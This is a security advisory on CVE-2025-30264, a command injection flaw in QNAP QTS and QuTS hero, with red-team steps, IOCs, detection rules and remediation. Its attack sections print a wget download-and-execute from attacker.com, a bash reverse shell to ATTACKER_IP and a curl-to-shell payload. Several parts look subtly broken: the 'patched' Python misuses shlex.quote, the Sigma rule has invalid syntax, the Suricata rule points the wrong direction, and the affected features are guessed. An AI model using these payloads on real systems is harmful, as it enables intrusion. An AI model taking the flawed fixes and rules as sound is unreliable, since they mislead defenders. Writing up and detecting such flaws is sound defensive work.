CVE-2025-30264

Executive Summary

CVE-2025-30264 is a command injection vulnerability affecting QNAP operating systems, specifically QTS and QuTS hero. The vulnerability allows a remote attacker who has already gained a valid user account to execute arbitrary commands on the affected system. This is a post-authentication flaw, meaning the attacker must first compromise a user account (e.g., via phishing, weak passwords, or other means) before exploiting this vulnerability. The impact is severe, as it can lead to full system compromise, data exfiltration, or ransomware deployment. QNAP has released patches for the affected versions.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a native operating system vulnerability in QNAP's proprietary software stack. However, the risk is amplified in supply chain contexts where QNAP devices are used as storage or backup targets for critical infrastructure.

CVSS Breakdown & Threat Level

The CVSS score is not provided in the NVD data. However, based on the description (command injection, remote attacker with user account), a reasonable estimate is:

• Attack Vector (AV): Network (N) – The attacker can exploit this remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required beyond having a user account.
• Privileges Required (PR): Low (L) – The attacker needs a valid user account.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerability does not cross trust boundaries.
• Confidentiality (C): High (H) – Arbitrary command execution can lead to data theft.
• Integrity (I): High (H) – Commands can modify system files.
• Availability (A): High (H) – Commands can disrupt services.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Estimated Score: 8.8 (High)

Threat Level: High. The vulnerability is post-authentication, but the prevalence of weak or default credentials on QNAP devices makes this a significant threat.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw. The QNAP operating system likely passes user-supplied input (e.g., from a web interface, API, or system command) to a shell command without proper sanitization. An attacker with a valid user account can inject shell metacharacters (e.g., ;, |, &&, `) into an input field, causing the system to execute arbitrary commands.

Example Attack Vector:

• The attacker logs into the QNAP web interface.
• They navigate to a feature that accepts user input (e.g., a file name, a network path, or a system setting).
• They inject a command like ; wget http://attacker.com/malware.sh -O /tmp/malware.sh && sh /tmp/malware.sh.
• The system executes the injected command, downloading and running malware.

The vulnerability is fixed in QTS 5.2.5.3145 and QuTS hero h5.2.5.3138. The patch likely involves input validation and escaping of shell metacharacters.

Vulnerable vs. Patched Code

Since no specific code is provided, we can only describe the general pattern.

Vulnerable Code (Conceptual):

import subprocess
user_input = request.GET.get('filename')
subprocess.call('ls -l ' + user_input, shell=True)

Patched Code (Conceptual):

import subprocess
import shlex
user_input = request.GET.get('filename')
safe_input = shlex.quote(user_input)
subprocess.call(['ls', '-l', safe_input])

The patched version uses shlex.quote() to escape shell metacharacters and avoids shell=True where possible.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid user account on the QNAP device (e.g., admin with default password).
• Network access to the QNAP web interface (port 8080 or 443).

Exploitation Steps:

1. Log in to the QNAP web interface.
2. Identify an input field vulnerable to command injection (e.g., in the "File Station" or "Network & Virtual Switch" settings).
3. Inject a command to establish a reverse shell:

   ; bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' #
   

4. Listen for the reverse shell on your attacker machine:

   nc -lvnp 4444
   

Example Payload:

; curl http://ATTACKER_IP/payload.sh | sh #

Blue Team

Detection Steps:

1. Monitor for unusual shell commands in system logs (e.g., /var/log/messages).
2. Look for outbound connections to unknown IPs on unusual ports.
3. Check for unexpected processes running as root.
4. Review web server logs for injection patterns (e.g., ;, |, &&).

Honeypot Setup:

• Deploy a fake QNAP device with a vulnerable version.
• Log all commands executed via the web interface.
• Alert on any command injection attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections to IPs on ports 4444, 8080, or 31337.
  • HTTP requests containing shell metacharacters (e.g., ;, |, `).
• File IOCs:
  • Unexpected files in /tmp/ or /var/tmp/ (e.g., malware.sh, payload).
  • Modified system binaries (e.g., /bin/ls replaced with a backdoor).
• Process IOCs:
  • Processes named bash, sh, or nc running from unexpected locations.
  • High CPU usage from unknown processes.
• Log IOCs:
  • Entries in /var/log/messages showing command execution with shell metacharacters.
  • Failed login attempts followed by successful exploitation.

Detection Engineering

YARA Rule

rule CVE_2025_30264_QNAP_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting QNAP devices"
        author = "Valters IT"
        date = "2025-06-01"
        reference = "CVE-2025-30264"
    strings:
        $injection1 = /[;&|`$()]/
        $injection2 = /bash -i/
        $injection3 = /wget.*http/
        $injection4 = /curl.*http/
    condition:
        any of ($injection*) and filesize < 10KB
}

Sigma Rule

title: QNAP Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection attempts in QNAP web logs
author: Valters IT
logsource:
    category: webserver
    product: qnap
detection:
    selection:
        cs-method: 'GET' or 'POST'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '&&'
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of special characters in filenames
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-30264 QNAP Command Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:";"; http_uri; nocase; content:"bash"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update QTS to version 5.2.5.3145 or later.
2. Update QuTS hero to version h5.2.5.3138 or later.
3. Change all user passwords to strong, unique passwords.
4. Enable multi-factor authentication (MFA) if available.

Long-Term Mitigations:

1. Restrict network access to QNAP devices (use VPN or firewall rules).
2. Disable unused services and user accounts.
3. Monitor logs for suspicious activity.
4. Implement network segmentation to isolate QNAP devices.

Workarounds (if patching is not possible):

• Disable the vulnerable feature (if known).
• Use a web application firewall (WAF) to block injection attempts.
• Limit user privileges to the minimum required.

Valters IT